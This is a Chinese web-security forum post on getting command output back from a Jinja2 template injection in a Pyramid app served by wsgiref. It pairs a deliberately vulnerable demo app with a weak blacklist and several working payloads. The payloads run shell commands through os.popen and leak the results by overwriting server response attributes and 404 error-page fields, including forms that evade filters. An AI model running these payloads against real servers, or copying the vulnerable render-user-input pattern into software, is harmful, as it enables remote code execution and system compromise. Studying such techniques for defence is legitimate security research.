wsgiref应用无回显详细调试研究
1315609050541697 发表于 湖北 WEB安全 124浏览 · 2024-12-11 08:46

WSGI内存马无回显详细调试挖掘

Pyramid 是一个灵活且功能强大的 Python Web 框架,完全兼容 WSGI(Web Server Gateway Interface)。通过 WSGI,Pyramid 能够运行在任何 WSGI 兼容的 Web 服务器上(如 Gunicorn、uWSGI 等),并且可以通过中间件进行扩展和集成。
测试demo如下

import jinja2
from pyramid.config import Configurator
from pyramid.httpexceptions import HTTPFound
from pyramid.response import Response
from pyramid.session import SignedCookieSessionFactory
from wsgiref.simple_server import make_server
import re
import os


def shell_view(request):

    expression = request.GET.get('shellcmd', '')
    blacklist_patterns = [r'.*length.*']
    if any(re.search(pattern, expression) for pattern in blacklist_patterns):
        return Response('wafwafwaf')

    try:
        result = jinja2.Environment(loader=jinja2.BaseLoader()).from_string(expression).render({"request": request})
        if result != None:
            return Response('success')
        else:
            return Response('error')
    except Exception as e:
        return Response('error')

def main():
    session_factory = SignedCookieSessionFactory('secret_key')
    with Configurator(session_factory=session_factory) as config:
        config.include('pyramid_chameleon')  # 添加渲染模板
        config.set_default_permission('view')  # 设置默认权限为view

        # 注册路由
        config.add_route('root', '/')
        config.add_route('shell', '/shell')
        # 注册视图
        config.add_view(shell_view, route_name='shell', renderer='string', permission='view')

        config.scan()
        app = config.make_wsgi_app()
        return app

if __name__ == "__main__":
    app = main()
    server = make_server('0.0.0.0', 6543, app)
    server.serve_forever()

响应包回显调试分析

我们调试跟进app的创建函数

审计Pyramid 框架的 WSGI 应用程序创建的代码

def make_wsgi_app(self):  
    """Commits any pending configuration statements, sends a  
    :class:`pyramid.events.ApplicationCreated` event to all listeners,    adds this configuration's registry to    :attr:`pyramid.config.global_registries`, and returns a    :app:`Pyramid` WSGI application representing the committed    configuration state."""    self.commit()  
    app = Router(self.registry)  

    # Allow tools like "pshell development.ini" to find the 'last'  
    # registry configured.    global_registries.add(self.registry)  

    # Push the registry onto the stack in case any code that depends on  
    # the registry threadlocal APIs used in listeners subscribed to the    # IApplicationCreated event.    self.begin()  
    try:  
        self.registry.notify(ApplicationCreated(app))  
    finally:  
        self.end()  

    return app

发现首先调用了commit方法提交配置变更提交所有挂起的配置语句,将此配置的注册表添加到 :attr:pyramid.config.global_registries,并返回一个 app:Pyramid WSGI 应用程序

app创建完成之后,调用make_server创建server服务程序

server = make_server('0.0.0.0', 6543, app)

跟进方法查看make_server源码

def make_server(  
    host, port, app, server_class=WSGIServer, handler_class=WSGIRequestHandler  
):  
    """Create a new WSGI server listening on `host` and `port` for `app`"""  
    server = server_class((host, port), handler_class)  
    server.set_app(app)  
    return server

我们注意到了类似flask无回显挖掘过程中的handler处理类:WSGIRequestHandler
我们发送请求包调试跟进找到handle类

不断跟进,从run方法进入到finish_response()

接着跟踪进入write方法和werkzeug的write几乎一样

进入send_hearders方法调用

def send_headers(self):
"""Transmit headers to the client, via self._write()"""
self.cleanup_headers()
self.headers_sent = True
if not self.origin_server or self.client_is_modern():
    self.send_preamble()
    self._write(bytes(self.headers))

接入调入send_preamble方法找到我们的最终点,可以看到http_version,status,server_software变量被写入响应头,那么我们覆盖这些变量不就可以回显了?

首先我们需要拿到handler类

wsgiref.simple_server.ServerHandler

sys.modules是一个全局字典,该字典是python启动后就加载在内存中。每当程序员导入新的模块,sys.modules都将记录这些模块。字典sys.modules对于加载模块起到了缓冲的作用。当某个模块第一次导入,字典sys.modules将自动记录该模块。当第二次再导入该模块时,python会直接到字典中查找,从而加快了程序运行的速度。

我们可以先拿到sys再从模块中拿到wsgiref

{{lipsum.__spec__.__init__.__globals__.sys.modules.wsgiref.simple_server.ServerHandler}}

然后设置变量属性进行回显

HTTP协议头回显

{{lipsum.__globals__.__builtins__.setattr(lipsum.__spec__.__init__.__globals__.sys.modules.wsgiref.simple_server.ServerHandler,"http_version",lipsum.__globals__.__builtins__.__import__('os').popen('echo test').read())}}

Server字段回显

同样server_software也可以用来回显

{{lipsum.__globals__.__builtins__.setattr(lipsum.__spec__.__init__.__globals__.sys.modules.wsgiref.simple_server.ServerHandler,"server_software",lipsum.__globals__.__builtins__.__import__('os').popen('echo 111').read())}}

HTTP错误回显

500状态码

当我触发时页面回显如下字段

A server error occurred.  Please contact the administrator.

我们从源代码中搜索定位,发现是Basehandler的一个属性error_body

注意error_body类型是bytes类型 ,所以我们可以对read()返回回来的数据实现encode转换

{{lipsum['__globals__']['__builtins__']['setattr']((((lipsum|attr('__spec__'))|attr('__init__')|attr('__globals__'))['sys']|attr('modules'))['wsgiref']|attr('handlers')|attr('BaseHandler'),'error_body',lipsum['__globals__']['__builtins__']['__import__']('os')['popen']('whoami')['read']()['encode']())}}

{{lipsum.__globals__.__builtins__.setattr(lipsum.__spec__.__init__.__globals__.sys.modules.wsgiref.simple_server.ServerHandler,"error_body",lipsum.__globals__.__builtins__.__import__('os').popen('echo 111').read())}}

404状态码

当我们访问不存在路由时会显示以下字段

根据关键词在源代码定位位置找到pyramid.httpexceptions.HTTPNotFound类

我们可以污染属性explanation来404回显

{{lipsum['__globals__']['__builtins__']['exec']("setattr(Not,'explanation',shell)",{"Not":((lipsum|attr('__spec__')|attr('__init__')|attr('__globals__'))['sys']|attr('modules'))['pyramid']['httpexceptions']['HTTPNotFound'],"shell":lipsum['__globals__']['__builtins__']['__import__']('os')['popen']('echo 1a1')['read']()})}}

或者

{{lipsum.__globals__.__builtins__.setattr(lipsum.__spec__.__init__.__globals__.sys.modules.pyramid.httpexceptions.HTTPNotFound,"explanation",lipsum.__globals__.__builtins__.__import__('os').popen('echo 111').read())}}

也可以覆盖属性title来回显

{{(lipsum['__globals__']['__builtins__']['exec'])("setattr(Not,'title',shell)",{"Not":(((lipsum|attr('__spec__'))|attr('__init__')|attr('__globals__'))['sys']|attr('modules'))['pyramid']['httpexceptions']['HTTPNotFound'],"shell":lipsum['__globals__']['__builtins__']['__import__']('os')['popen']('whoami')['read']()})}}

或者

{{lipsum.__globals__.__builtins__.setattr(lipsum.__spec__.__init__.__globals__.sys.modules.pyramid.httpexceptions.HTTPNotFound,"title",lipsum.__globals__.__builtins__.__import__('os').popen('echo 111').read())}}

0 条评论
某人
表情
可输入 255